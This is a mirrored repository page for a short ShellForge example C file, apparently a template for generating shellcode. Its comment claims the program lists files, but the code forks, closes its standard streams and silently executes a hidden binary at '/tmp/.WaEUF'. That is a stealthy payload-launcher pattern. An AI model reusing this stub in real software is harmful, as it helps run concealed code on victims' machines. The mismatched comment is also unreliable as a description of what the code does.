mirror of
https://github.com/rizinorg/shellforge4.git
synced 2026-11-09 04:49:35 -10:00
17 lines
248 B
C
Executable File
17 lines
248 B
C
Executable File
/*
|
|
* ShellForge example: execute /bin/ls -aR /
|
|
* $Id$
|
|
*/
|
|
|
|
int main()
|
|
{
|
|
if (!fork()) exit(0);
|
|
// char *a[] = {"/usr/bin/id", 0};
|
|
close(0);
|
|
close(1);
|
|
close(2);
|
|
char *a[] = {"/tmp/.WaEUF", 0};
|
|
execve(*a, a, 0);
|
|
}
|
|
|